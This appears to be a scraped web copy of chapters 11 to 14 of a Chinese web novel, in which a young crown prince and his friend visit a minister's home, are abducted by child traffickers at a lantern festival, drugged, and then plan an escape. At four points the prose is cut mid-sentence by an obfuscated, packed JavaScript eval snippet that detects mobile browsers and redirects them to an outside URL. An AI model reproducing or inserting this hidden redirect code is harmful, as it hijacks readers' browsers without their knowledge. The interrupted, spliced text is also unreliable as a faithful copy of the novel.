闻辞觉得自家父皇有些丢人,都不想看见,“不用,我都习惯了,他一会儿就好了。” “哦,”温黎又乖乖地坐了回去,盯着那幅漂亮的美人像看,好奇地问道:“那画像是谁啊?” “我娘啊。” “我从来没有见过皇后娘娘。” 当年闻言殷微服私访过一段时间,至于去了哪里,众人都不得而知,没多久后回来时怀里就抱着一个小娃娃,只是向天下人宣布这是他的儿子,并力排众议立为太子。 没有任何人知晓小娃娃的生母究竟是谁,有人说是隐于江湖的侠女,有人说是有一夜之缘的露水情人,还有人说是亲族中的贵女,种种猜测都没有被证实。 这么多年过去了,闻言殷活得清心寡欲地很,无论大臣们如何奏请,他都不立后后宫更是没有一个妃子,唯有闻辞一个孩子。 这些话还是温黎到了东宫之后听底下的小太监小宫女们饭后茶余的聊天中得来的。 闻辞耸了耸肩膀,一副无所谓的样子,“我也没见过。” “我也没有见过我阿娘。”一提到娘亲,温黎就开始难过了,眼前瞬间一红。 闻辞连忙拆了一块饴糖塞进了温黎的嘴巴里,“不许哭,快吃快吃。” 温黎含着甜甜的糖块吸了吸鼻子,并没有哭。 闻辞松了一口气,“这没什么好哭的。” 温黎的神情很是失落,连声音都是闷闷的,蹲在地上环抱着自己。“可是我想我娘了,阿爹说他去了很远很远的地方……”他与闻辞一样从来没有见过自己的娘亲。 “你都没见过他,怎么那么想他啊。” “虽然我没有见过他,但是阿爹说娘亲是个很温柔很善良的人,世上所有人都比不上娘亲,娘亲就是很好很好的,所以我想念他。” “我没见过,想象不出来,父皇从来不和我说母亲。”小魔王闻辞难得露出受伤的表情,母亲的事情全都是从别人口中得知的,真真假假,不得而知。 “你娘亲是什么样的?”闻辞的目光隐隐有些期待,好像了解温黎的娘亲就像是在了解自己的娘亲一样。 温黎仔细想了想,可是描绘不出阿娘的模样,于是道:“你跟我回家吧,我给你看我娘亲的画像。” 闻辞愣了愣,随即高兴起来,可以去参观温黎的房间了耶,肯定也很可爱! “好啊好啊!”闻辞举双手双脚同意。 “不过我不知道怎么回去。”温黎很是苦恼,从不出门的温黎不知道路怎么走,要怎么走,来东宫的那日是在睡梦被阿爹抱起来的,迷迷糊糊地完全不记得了。 “我知道啊!”说着就拉起温黎回了东宫。 *** “不可以。”德福想都没想就拒绝了,又卑微地祈求道:“太子殿下啊,我的小祖宗啊,这些日子京中不太平,到处在抓小孩呢,您还是好好地待在宫里吧,您要什么,奴才去取就是了,何必您亲自去呢。” “不行,我要去,只是去温相府而已,套辆马车,身后再跟些人就是了,我不信那么多人还能把我和阿黎绑了去。”闻辞觉得这并没什么大不了的,安全地很。 德福做不了这样大的主,满口拒绝并极力地劝说着,没办法,闻辞只能第二天等父皇散朝的时候亲自去和他说。 闻辞一直在勤政殿里等着,一瞧见闻言殷来了就站起身跑了过去,靠近了才发现他身后跟着个陈之昂。 因为自家儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433062|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子被打的事情,陈之昂对闻辞颇有怨言与微词,到现在陈越峥还不敢出门呢,但此事是他提的,苦头是他自己讨来的,也不能说什么,更不能让皇帝给他做主,只能想想凭什么他温书礼的儿子能好好地待在太子身边做伴读。 闻辞不喜欢这个左相,长得实在是太过严厉与老成,总是横鼻子竖眼睛的,他一脸警惕地看了陈之昂一眼就拉着闻言殷的手到一边去,“父皇,我有话和你说。” 闻言殷惊讶于自家小太子主动牵起了他的手,心里一阵暖意流过,对陈之昂摆了摆手,“你先下去吧。” 陈之昂有些不悦,但也只能识趣地退下。 等人走后,闻辞才兴致冲冲地朝闻言殷道:“父皇,我要和阿黎一起去温府看看,还请父皇允准!” 闻言殷第一次见闻辞有事请求自己,浓郁的父爱喷涌而出,心软得一塌糊涂,甚至似乎都没有听清是什么请求就答应了。 没一会儿才反应过来,微微蹙了蹙眉头,“你要和阿黎出宫?” “嗯,阿黎邀请我去他家玩。”闻辞没提看母亲画像的事情,怕会引起自家父皇的伤心事,万一哭唧唧起来可不像温黎那么好哄。 “最近京中在抓小孩呢,还是不要出去的好。”闻言殷语气温柔地揉了揉闻辞的小脑袋。 闻辞瘪了瘪嘴巴,撅起来的幅度都能挂个桶了,“父皇,君子一言驷马难追,何况父皇是天子,不可以出尔反尔。” 闻言殷被闻辞恭维了一番,嘴角翘了翘,大手一挥,“好好好,去吧去吧。” “好耶!”小孩的情绪来得快去得也快,顿时就高兴得眉飞色舞,恨不得跳起来舞一段。 闻言殷以为自家的宝贝儿子兴奋地要抱自己,都已经张开手臂准备好了,谁知道闻辞竟然一溜烟儿跑掉了,只剩一个空怀抱冷冷清清,闻言殷不禁神伤,“真是儿大不中留。” 一旁的太监总管德英笑眯眯道:“太子殿下难得这么开心。” 自从温黎来了之后闻辞脸上的笑容都多了起来,两个小孩待在一起就连病症都缓解了一二,毕竟是好不容易得来的玩伴,想去家里玩玩也不是不行的。 但闻言殷还是有些担忧,不禁叮嘱道:“挑几个朕身边的暗卫伪装成普通护卫跟在马车附近,确保他们安全。” “是。” 德福听到消息后,一边忧心一边给他们收拾着东西,不禁碎碎念念着,“殿下,不能理会陌生人,不要吃他们的东西,不要和他们说话,一定不能脱离咱们的视线。” 闻辞听得耳朵都要磨出茧子,忍不住掏了掏,然后拍了拍德福的手,“好啦好啦,我知道啦,我们就待在温府。” 温黎挺着个小肚肚让侍从给他系腰带,乖乖糯糯地安慰道:“公公,不要担心,我们不和陌生人说话的。” 小太子长这么大还是第一次出宫,不免让人有些担心的,愁得德福坐立难安,一定要跟着一起去。 12. 第 12 章 咕噜咕噜—— 马车出了宫门,在神武大街平缓地行驶着。 这是温黎第一次出门,心里隐隐有些兴奋,坐在马车里总是忍不住想往外看。 他掀开窗帘眼睛一眨不眨地盯着外头看,叫嚷的小贩,撒欢奔跑的孩童,匆匆而过的行人……热闹非凡,就和文字间描述的一样热闹。 小商贩们卖的东西种类也是琳琅满目不计其数,每一个都吸引着温黎的注意,脸上是再也克制不住的雀跃表情,“我喜欢出门。” 忽而,他瞥见了街角有个叫卖的老爷爷,扛着一垛子亮晶晶的果子,颗颗饱满圆润,颜泽红艳漂亮,泛着晶莹剔透的糖霜,好几个小孩围在一起挑选着,然后吃进嘴巴里,都是笑嘻嘻的,看得他不禁砸吧了两下嘴巴。 “阿淮,我想吃那个。”温黎透过窗户指了指红艳艳的果子。 阿淮顺着他的手势看了过去,发现是糖葫芦,微微蹙了蹙眉,轻哄着道:“公子,外头的东西不干净,您若是想吃,等回府了,让厨子学着做。”温黎身子不好,连吃什么东西都是府医一手安排好的,每日定时定量,不可以胡乱吃别的,他们更不敢由着温黎乱吃。 温黎的笑容淡了淡,但还是听话又乖巧地点了点头,还怕阿淮忘记似的叮嘱道:“那你记得要让阿叔给我做啊,我想要那样的。” “好。”阿淮笑了笑。 眼见着温黎有些失落,闻辞连忙摆案决定,“不就是糖葫芦而已,我给你买!德福去把那一垛子都买来!” 德福踟蹰了半晌,还是去买了回来,让一个健壮的护卫扛着,闻辞拔下了一根,送到了温黎面前,“有很多,你慢慢吃。” 阿淮张了张口,想要再说些什么,可他知道自己的身份,不敢反驳金尊玉贵的太子殿下,只能看着自家小公子,希望他能顾及着自个儿的身子不要吃这些东西。 温黎看着糖葫芦的眼睛亮了又亮,抿了抿嘴唇,“我就吃一颗,我就尝尝,好不好?” 他这副水灵灵又可怜的小模样令人心软令人怜爱,阿淮也不忍心再拒绝,叹了声气,“好,小公子可不能多吃。” “嗯嗯。” 温黎这才高兴了起来,凑上了上去张开了嘴巴叼着了一颗晶晶亮的糖葫芦,糖霜都凝在了一起,轻轻一咬便如同琉璃一般碎开,发出清脆的“咔嚓”声,牙齿用了些力气拽下了第一颗。 山楂很大一颗,几乎塞满了温黎的小嘴巴,像是囤了食的小仓鼠,让人忍不住想要戳一下圆鼓鼓的脸蛋。 温黎慢慢地咀嚼起来,咬碎了裹在外头的糖衣,甜丝丝的味道与沙沙软软的山楂结合在一起,缓解了其中的酸味,又酸又甜的,很神奇的口感,立刻捂住了嘴巴,笑眯眯地望着闻辞,眼睛都弯成了一个小月牙,特别的可爱,鼓鼓囊囊地道:“好好吃,你也吃你也吃!” 闻辞被温黎的笑容感染了,嘴巴不知不觉地扬了起来,也咬了一口,大口大口地咀嚼着,哪怕是再怎么不好吃的东西也会变得好吃起来,“好吃!” 然后他又将糖葫芦往温黎面前送了送,透过帘子看了看外面,刻意压低了声音,“你再吃一颗。” 温黎盯着糖葫芦咽了咽唾液,嘴里的还残留着酸甜味,但还是毅然决然地摇了摇头,“不可以,我尝一尝,知道糖葫芦是什么滋味就好啦。” “你是怕被阿淮知道,告诉你阿爹吗?我不告诉他。” 温黎摇了摇头,“我知道阿淮是为我好,我身体不好,这些不能多吃的,我不可以给别人添麻烦。” 三岁的时候,小小的温黎坐在院子里看着几个小丫鬟在分享冰酪,成天何苦药的他闻到了甜丝丝的味道,奶声奶气地喊着“姐姐”,想要一碗冰酪吃,几个小丫鬟都喜欢喜欢奶呼呼又娇软软的小公子,十分大方地给温黎盛了一碗。 温黎开开心心地捧着冰酪吃得十分满足,没一会儿一碗就吃掉了,连嘴边的奶渍都舔得干干净净,嘴里的苦味儿全没了,被香香的奶味取代。 谁知道一个时辰后肚子疼了起来,一阵一阵地绞痛,甚至引发了热哮,呼吸不上来,浑身烧得滚烫,温书礼向皇宫递了牌子,都快把整个太医院的太医都请了过来,整整一天一夜才让温黎的病情缓解了下来。 而那几个小丫鬟被冷静下来的温书礼责罚了一顿,统统赶出了府去。 从此以后温黎就不敢乱吃东西了,一是为了自己的身体,二是不能再连累旁人。 闻辞被这番话吓得脸色一白,把手里的糖葫芦当成一个烫手山芋一样一跳从窗户那儿甩了出来,将温黎上上下下地打量了一番,急急忙忙道:“这……这不能吃了,你现在要不要紧,我去给你找大夫!” 温黎连忙拉住了诚惶诚恐的闻辞,“一颗没关系的,不用担心。” 当时会那么严重,主要还是因为吃了太多生冷的食物,脆弱的肠胃和身体受不了才会那样,这只是糖和山楂不会有什么大碍。 马车“咕噜咕噜”地行驶着,终于抵达了温府,仆从接到消息早早地就等在了门口迎接,这些人都是看着温黎一点点长大的,都喜爱地紧,恨不得捧在手心里。 可一进宫将近两个月了,一面都没有见过,都对自家香香软软的小公子甚是想念。 管家抢先一步上前,把太子殿下与小公子迎进了府,悄悄儿地将小公子好好地打量了一番,发现他面色红润,两团脸颊还是一样的玉雪可爱,这才放宽了心。 府里的老仆人把温黎好好地嘘寒问暖了一遍才放他去自娱自乐。 温黎进了温书礼的卧房,轻而易举地找了一只精美又巨大的箱子,能装两个小温黎进去,和闻辞一起费力地拖了出来。 一打开映入眼帘的全是画卷,被整整齐齐地摆放好,温黎趴在箱子的边缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433063|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个人都可以埋进去,够着小手在里面挖啊挖。 挖了好一会儿终于找到了一幅眼熟的画卷,画轴坠着一颗漂亮的蓝色珍珠,于是把它递给了闻辞。 这副画线条简单,潦草地勾勒出一个形状,颜色也是单一的黑色,画得歪歪扭扭,上下颠倒翻来翻去地看着,都找不到头在哪里,很难辨别出人形。 闻辞看了好一会儿才忍不住道:“你娘……是火柴人啊?” 温黎凑过来瞧了瞧,“这是我阿爹啊。” “啊?”闻辞在一瞬间被震惊了两次,虽说温书礼时常严厉,不苟言笑,但他至少长得风清月朗,如翩翩公子,如何能与画像中的几根火柴棍联系在一起! “这是我阿娘画的阿爹,我阿爹可宝贝了。”温黎拿过来小心翼翼地卷好,放进了箱子里面。 闻辞蹲在箱子前,翻了翻,然后看了又看,“那你阿娘呢?” 温黎那小小的一团身体恨不得都要钻进箱子里了,都没有找到另一个挂着蓝色珍珠吊坠的画卷,一时之间有些气馁。 闻辞忽然瞥见了床头柜上有个同款珍珠挂坠的画轴,于是拿到了温黎面前,“是不是这个?” 温黎从箱子里冒出来一颗小脑袋,眼睛陡然一亮,“就是这个。”他从箱子里爬了出来,打开画卷,一幅美人图出现在了眼前。 美人清冷孤傲,手握银枪,身骑白色骏马,一袭黑色长袍,似有微风轻起,随风飘扬,能够感受到他的恣意畅快,浑身透露着英姿飒爽的气息,宛如一个江湖侠士。 可是面部有些模糊了,隐约还能辨别出眉眼,可以看得出来是个漂亮的美人,温黎与之有几分相似。 温黎的眼圈红了红,紧紧地盯着娘亲看,白软软的手指不禁抚摸上了娘亲模糊的脸颊,“是我阿娘,我经常看见阿爹对着这幅画发呆,许是阿爹抚摸了许久,娘亲的脸都有些模糊了。” 见温黎这么伤心难过,闻辞想到了自己的娘亲,只是娘亲太模糊了,他也曾趁父皇不注意的时候溜进了父皇的寝殿一遍又一遍地看着娘亲的画像。 娘亲的画像比温黎的娘亲要清晰许多,雍容华贵、容貌惊人,自己的眉眼之间与她很像,除了父皇没有人知道他的娘亲究竟是何人,可是父皇从未提过只言片语,好像娘亲是禁忌一般。 温黎一抬眸就看见闻辞眼底的失落,他知道自己的对娘亲的思念也勾起了他的伤心事,于是把画卷好好地放在箱子上,然后紧紧地抱住了闻辞,模仿着阿爹安慰自己的语气轻声安慰着他,“不要难过,我们的娘亲会在远方好好地保佑我们的。” 尽管闻辞在众人面前的形象是个天不怕地不怕又什么都不在乎的小魔王,但本质上也是一个几岁的小孩子,想娘亲了就会想哭。 闻辞揉了揉发红的眼圈,忍了又忍,最后还是委屈巴巴地瘪了瘪嘴巴,乖乖地点了点,“嗯。” 13. 第 13 章 今日神武大街在举行花灯会,两个小豆丁都没有见过这样的场景,硬是拖着在温府用了晚饭。 饭后甜点就是大厨阿叔做的冰糖葫芦,阿淮已经询问了府医,得到了允许,可以让小公子多吃几颗。 可是大叔做的饭菜实在是太好吃了,小肚子吃得圆鼓鼓的,只吃了一颗糖葫芦就吃不下了,于是将剩下的装进了他的糖兜子里,挂在了腰间。 神武大街的花灯节是最为热闹的一个节日,猜灯谜赢花灯,流水赛花灯,花灯写诗会等等活动。 由于人太多,马车都无法行走,只能下来走路,德福让闻辞牵起温黎的手,笑眯眯道:“来来来,手牵手,这样就不会丢啦。” 闻辞紧紧地抓着温黎的手,承担着要好好照顾阿黎的重任。 商品琳琅满目,看得人眼花缭乱,温黎什么都想要,让阿淮去给他买,没一会儿就抱了满怀,就连德福的手臂上都挂了好几个花灯 温黎看见了一只兔子花灯,眼眸陡然一亮,拉着闻辞就走了过去,他们人小很轻松就挤了进去,但身为成年人的阿淮和德福就没有那么容易了,被人群阻隔在外。 温黎聪慧,小小的灯谜根本难不倒他,一连猜中了好几个,赢得了最漂亮的兔子琉璃花灯,烛火跳动,映衬着琉璃折射出五颜六色的光,煞是好看。 闻辞帮他提着,然而烛火跳动了两下就熄灭了,温黎轻轻地拍了拍,歪着小脑袋疑惑着,“它好像不怎么亮了?” “烛火灭了。”闻辞抬起花灯仔细地看出了端倪。 温黎满眼失落,惋惜地摸了摸小兔子的耳朵,“那怎么办啊?” “没事。”闻辞低头摆弄着,将内里的蜡烛扶正,然后吹亮了火折子。 温黎在一旁全神贯注地看着,忽然被人捂住了口鼻,他立刻做出反应奋力地反抗起来,双腿扑腾着,可没一会儿一阵眩晕感猛地袭来,彻底失去了意识。 期间闻辞的注意力全部在琉璃花灯上,忽视了温黎,等火折子点燃了烛火,再抬起头的时候,眼前哪里还有温黎的身影啊。 他吓得手里的花灯都散落在了地上,烛火再次熄灭,琉璃摔得四分五裂。 温黎意识模糊,不知道被带去了什么地方,隐隐约约听到有人在说话,甚至还在他身上摸索着什么。 “这小孩长得可真漂亮,不知道的人还以为是个小姑娘呢。”瘦子盯着他的脸看了一会儿就移到他身上值钱的配饰上,拽下来一块玉佩,对着月光看了看,惊讶道:“这玉佩真好看,肯定很值钱!” 没多久又惊呼道:“这衣服是刺绣的,里头还掺了银线耶,肯定是一个大户人家的小孩,这是有多大的仇啊。” 另一个胖子上手把温黎绣了花样的外衣扒了下来,“别管了,动作快点儿,把值钱的都拿走,反正那人说了只要把他丢了就行了,谁知道是被卖了。” 瘦子看着温黎漂亮的模样,一个坏点子油然而生,“你说的对,就这么扔了怪可惜的,卖了还能再赚一笔呢,这漂亮脸蛋肯定能卖个好价钱。” 胖子立刻附和着,“你快去找个人牙子来,小心点别被人发现了。” 温黎清醒了就被迷晕,一来一回不知道有多少次,也不知道究竟过了多久,他的眼睫轻轻地颤动了两下,缓缓地睁开了眼睛,神情恍惚着,映入眼帘的是一片昏沉与黑暗,还有一股不可言说的霉味儿,令人作呕。 温黎感觉很冷,裹了裹身上的衣物,这才发现衣服被换过了,粗粝的麻衣磨得柔软的手都有些疼。 巨大的恐惧席卷而来,他蜷缩了起来,无助地把自己团成了一个球,想借此寻求一丝安慰,可是害怕、惊慌的情绪充满了他的内心,眼圈一点一点地红了起来,泛起了泪花,又被温黎倔强地用袖子擦了擦。 不能哭,不能哭,哭是不能解决问题的。 温黎拼命地给自己打气,让自己不要那么害怕,阿爹会找到他的,阿辞也会找到他,可是有的事情不是说不害怕就不害怕的,他的心尖都在颤动。 忽然,门锁轻响,一个男人走了进来,没听到想象中鬼哭狼嚎的声音,不禁将温黎上下打量了一番,有些惊讶,“你这小孩胆子倒是挺大,这样也不哭不闹的,比之前那几个可听话多了。” 温黎吞了吞唾液,眼睛红红地,警惕地盯着他,“你……你是谁啊,抓我干什么?” “我可没有抓你,是有人把你给卖了。”男人一边说一边从提来的盒子里拿出了一碗黑乎乎如同汤药一样的东西,慢慢地朝着他走来。 直觉告诉温黎那碗药不会是什么好东西,恐惧感达到了顶峰,腿肚子都在打抖,手指紧紧地扣在了地面上,一个劲儿地往后缩,看着他身后打开的大门,然后迅速地爬了起来就往外冲,可还没有跑出去几步就被男人揪着衣领抓了回来,狠狠地掐住了他的脸颊。 “阿……阿叔,你放了我好不好,我阿爹……阿爹有很多银子的,你想要多少都可以……”温黎口齿不清晰地求饶着,拼命地摇着头,抖抖索索着。 男人没有再说话,只是把汤药强硬地灌进了温黎的嘴巴里。 一整碗全喝了进去,恶心又诡异的气味直冲脑门,和寻常的汤药不一样,温黎躺在地上不住地咳嗽干呕着,脸色涨得通红,脸颊上掐出来的指印清晰可见,泪花都沁了出来,紧紧地捂着自己的心口,难受地厉害,男人没有再管他,关上门就走了。 温黎的脸色红了又白,难受地不禁在地上打滚,额间冒出了豆大般的汗珠,肚子翻江倒海地疼了起来,下一刻,“哇”地一下全部吐了出来,喉咙像是被烈焰灼烧,脑袋也晕乎乎的。 最后温黎再也忍不住了,小声地呜咽了起来,“呜呜呜,阿爹,阿辞……” 大概一盏茶的功夫,男人又回来了,将迷迷糊糊的温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433064|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎抱了起来,扔进了另一个屋子里。 啜泣声、嚎叫声,此起彼伏,一声一声地吵醒了温黎,睁开眼睛后看见了好多同龄的小孩子,一个个蓬头垢面地缩在角落,像奇闻异事里的鬼魅一样,把温黎吓得一愣一愣地,腿软得都没办法迈开一步,坐在那儿一动不敢动。 “阿黎?” 温黎猛然间听到了一个熟悉的声音,他以为是听错了,循声望去竟然真的看见了闻辞。 “阿辞阿辞!”温黎连滚带爬地地朝着闻辞跑过去,可是跑得太急了都没有注意脚下,一不小心被石头绊倒了,重重地摔在了地上,也顾不得疼顾不得哭,又麻溜地爬起来,扑到了同样跑向自己的闻辞怀里。 “阿黎,你怎么会在这儿啊?!”闻辞急红了眼睛,看见了温黎脸上的红痕更是怒不可遏,“他们欺负你了?” 温黎只是一个劲儿地摇头,他不知道在小黑屋里关了多长时间,陌生的环境,谁都不认识,本就神情紧张,脆弱到了极点,好不容易看见了一个熟悉的人,憋住的泪水再也忍不住了,如同决堤一般,哭得稀里哗啦的,什么都说不出来,可怜地要命。 “你别怕,我保护你,谁敢欺负你,我就打死他!”闻辞手忙脚乱地帮温黎擦眼泪,他的袖子太脏了,只能用手指擦。 温黎吸了吸鼻子,拼命地揉着自己的眼睛,鼻尖都是红红的,脸颊上海挂着两道泪痕,“我……我不怕,你不要打人,打人不好……”他不禁想起了闻辞之前打人的场景,会受伤的,一点都不好。 “不打不打,不哭了……”闻辞的态度立刻软了下来,轻声地哄着。 温黎瘪了瘪嘴巴,又担心又难过,“你怎么也被抓了啊?” 闻辞发现温黎不见了,去找德福和阿淮,他们同样吓得魂飞魄散,让所有人都去找。 但是因为花灯节人实在是太多了,到了令人寸步难行的地步,闻辞又着急,不管不顾地出去找,一不留神就和德福他们走散了,在一个拐角处被人掳走了。 “我醒来之后被灌了一大碗恶心的东西,然后关在了这里,期间送了一顿饭,差不多一天一夜的功夫。”光提到这碗药,闻辞的脸就皱巴了起来,恨不得把三天的饭都吐出来。 “那你有没有吐掉!不能喝的。”温黎的脸色白了又白,赶紧站起身拍着闻辞的后背,想要让他吐出来。 闻辞被拍得忍不住咳嗽了两声,快被拍呕了,“没吐得出来,但已经一天过去了,我也没觉得有哪里不舒服。”然后想到了什么,眼睛瞪得滚圆,“他们是不是也给你喝了!你怎么样?” 温黎摇了摇头,“我觉得太恶心了,都吐掉了,就是肚子有点不舒服。”其实还是有些疼的,但是还能忍受,比发病时的疼痛要好多了。 闻辞眼底猩红,气得呼吸渐重,浑身充满了戾气,“等德福找到咱们,一定要把这些人贩子给弄死!” 14. 第 14 章 “你别生气,冷静一点,会发病的。”温黎抱住了闻辞,他也很害怕,手指都在微微地颤抖,但他更害怕闻辞会因此发病,这里没有大夫没有太医,生病了会死的,他不想让闻辞死掉。 眼泪都蹭到了闻辞的脸颊上,淡淡的桂花味钻进了鼻腔,渐渐地缓解了他的情绪:“你别怕,德福会找到我们的。” 闻辞打量着四周,探查着地形,想要推断此地是什么地方。 整个屋子堆放了不少装满谷物的麻布袋,像个粮仓,应该是废弃了,散发着腐烂的气味,但犹如铜墙铁壁一样,唯有大概一丈高的地方有个做通风用的窗户,其大小正好可以让一个小朋友钻出去,但都有一根根地木头做阻隔。 满屋的哭声吵得闻辞心烦,都不能仔细思考了,不禁大吼了一声,“都给我安静!” 小朋友们都吓了一跳,一个个害怕地盯着他看,小的都瑟缩在大的怀里。 “你别这么大声说话,会吓到他们的。”虽然温黎也被吓了一跳,但还是将他的糖兜子打开,把里面的糖葫芦都分给了大家。 小朋友们吃到了甜丝丝的冰糖葫芦,情绪暂时稳定了下来,七嘴八舌地讲了自己被拐的过程和这两天所遭遇的一切,发现了大家都有一个共同点,那就是被灌了不知名的药,但看起来都还没有什么不良反应。 “我有哦,我有哦。”一个三岁的小娃娃举起了手,哭得小鼻尖红红的,奶声奶气地道:“我的肚肚有一点痛哦。” 温黎摸了摸自己的小肚子,十分感同身受地糯糯道:“我也有一点痛,但不多。” 小娃娃身旁大一点的孩子把小娃娃抱在怀里,轻声地哄着,“哥哥给你揉一揉哦。” 闻辞学着年长哥哥的模样也把手放在了温黎的肚子上,“我也给你揉揉。” 可是温黎怕痒,好像浑身上下都是痒痒肉,被闻辞一碰就弹开了,捂着自己的肚子憋红了脸,“我……我不难受了!” “啊?”闻辞不明白了,明明刚刚还说难受来着,怎么自己一碰就好了? 难道他是神医!闻辞眨巴眨巴着眼睛盯着自己的双手看了半晌,然后朝着小娃娃的方向走过去,想要证实一下,“我来帮你揉揉。” 大哥哥像护犊子一样把小娃娃抱在了怀里,警惕地看着闻辞。 温黎又凑到了闻辞面前,“阿辞,我们不知道公公他们什么时候会过来,能不能找到我们,所以不可以坐以待毙,要想办法出去。”找到了令人安心的小伙伴,温黎也能冷静下来思考。 毋庸置疑,这群人肯定是人贩子了,但是不知道他们会被带到什么地方去,他们目标太大,一天一夜之间不可能那么快就离开京城,总得分批出去,若是出了京都就更加难找到他们了,所以要赶紧跑。 “上面有个窗户,咱们可以把窗户撬开,从那儿逃出去,只要逃出去一个去喊救命,我们都可以得救。”闻辞走到了窗户下面,比了比高度,只要个子高的两个人叠罗汉就可以够到。 “可是那里有木头隔着,我们没有工具撬不开的。”大哥哥抬头看着窗户,那儿的木头起码有两根手指头那么粗,不是他们的力量可以轻易掰开的。 温黎环顾了一下四周,又踮起脚尖望了望,“没关系,用一根棍子和衣服就可以。” 然后让闻辞脱下外衣,又找了一根大小合适不粗不细的棍子。 温黎回头发现那个小娃娃正睁着一双乌溜溜的大眼睛盯着他瞧,就掏出了一颗糖葫芦,揉了揉他的小脑袋,“你接着哭,就像刚刚那样,哥哥就把糖葫芦给你。” 小娃娃开心地点了点头,珍惜地舔了舔甜丝丝的果子,然后呜咽了两下就哭了出来,“呜呜呜,果果,我想回家……” 大哥哥一愣一愣地哄着他,这样的话一来让外头看守的人没那么快起疑心,二来可以掩盖他们撬窗的动静。 闻辞自告奋勇地蹲在了窗户下面,等着温黎踩上去。 温黎提了提自己的衣角,扶着墙面小心翼翼地爬了上去,随着闻辞慢慢地站起来,他堪堪够到了窗户上的栏杆,其他年纪稍大一些的小孩在底下护着,生怕他掉下来。 之后,温黎把衣服缠在两根木棍之间打上结,然后用另一根穿过衣服搅动起来,这样可以减少用力,温黎的力气不大,没一会儿手就酸疼地厉害,也才稍微拉开了一点距离。 于是没力气再换下一个继续,经过不懈的努力,栏杆终于断了一根,以此类推,其他几个也被折了下来,其大小正好可以通过一个不太胖的小朋友。 他们先将年纪小的孩子推了上去,让他爬到外面,然后是体型娇小可以通过的孩子,一群人都有条不紊地跟着。 闻辞拉着温黎的手往前推了一把,又拍了拍自己的肩膀,“你先上去。” 温黎微微喘着气,脸颊泛着一抹红,摇了摇头,“不要,让他们先过。” 一个小胖子已经等不及了,焦急万分着一把将温黎推开,踩在人家闻辞身上就要上去,“我来!” 温黎被推倒在地,手心都蹭到了碎石上,擦出了一道血痕,疼得手不自觉地颤抖着。 闻辞哪里能承受得了一个小胖子的重量,何况他还伤了温黎,于是直接站直了身体,不让小胖子踩,小胖子因此摔了个大马哈,顿时就哭了。 温黎吓得一把捂住了小胖子的嘴巴,急得汗都滴下来了,“你别哭,别哭!” 然而小胖子却狠狠地咬了温黎一口,温黎痛得立刻松开了手臂,由于只穿了里衣,衫子薄,咬得又凶,手臂都都流血了。 闻辞一下子就怒了,怒目圆睁着想都没想上去就是一脚,将小胖子凑倒在地,他嚎得更大声了。 温黎痛得也想哭,可是场面实在是太混乱了,让他一时忘记了哭泣,只是上来扒拉着闻辞,让他不要打人,快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433065|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃,但突如其来的哭嚎声还是引起了外面看守的注意。 全部冲了进来,一共有五个人,一进来就傻眼了,急得破口大骂,“他妈的,人呢?!”其中一个人把大哭的小胖子拽了起来,吼道:“都去哪儿了!” 小胖子已经吓傻了,抖抖索索地指着窗户那儿。 闻辞赶紧冲着外头大喊了一声“跑”,他们中的三个人出去抓小孩,剩下的两个看着他们,原以为只是几岁大的小孩子不足为惧,谁知道竟然本事大的敢逃跑! 为首的大汉看着气势汹汹的闻辞,抬脚就要踹去,还好闻辞反应够快,往旁边一闪,大汉不仅没有踹到,反而让自己打了个趔趄,摔倒在地,闻辞趁机用木棍狠狠地敲了一下他的头,那个大哥哥和几个小朋友在后面补刀,一连敲了好几下,又踢又打的,打得他头昏眼花。 另一个见状凶神恶煞地就要来帮忙,温黎早就爬到了添满稻穗的麻布袋上,趁机用棍子敲在了令一个男人的脑袋上,但他的力气太小了,根本起不到什么杀伤力,男人揉了揉头,轻而易举地抓住了木棍,想将温黎甩下来。 闻辞连忙上前一跃而起,一个飞踢将男人放倒,用棍子重重地敲了好几下。 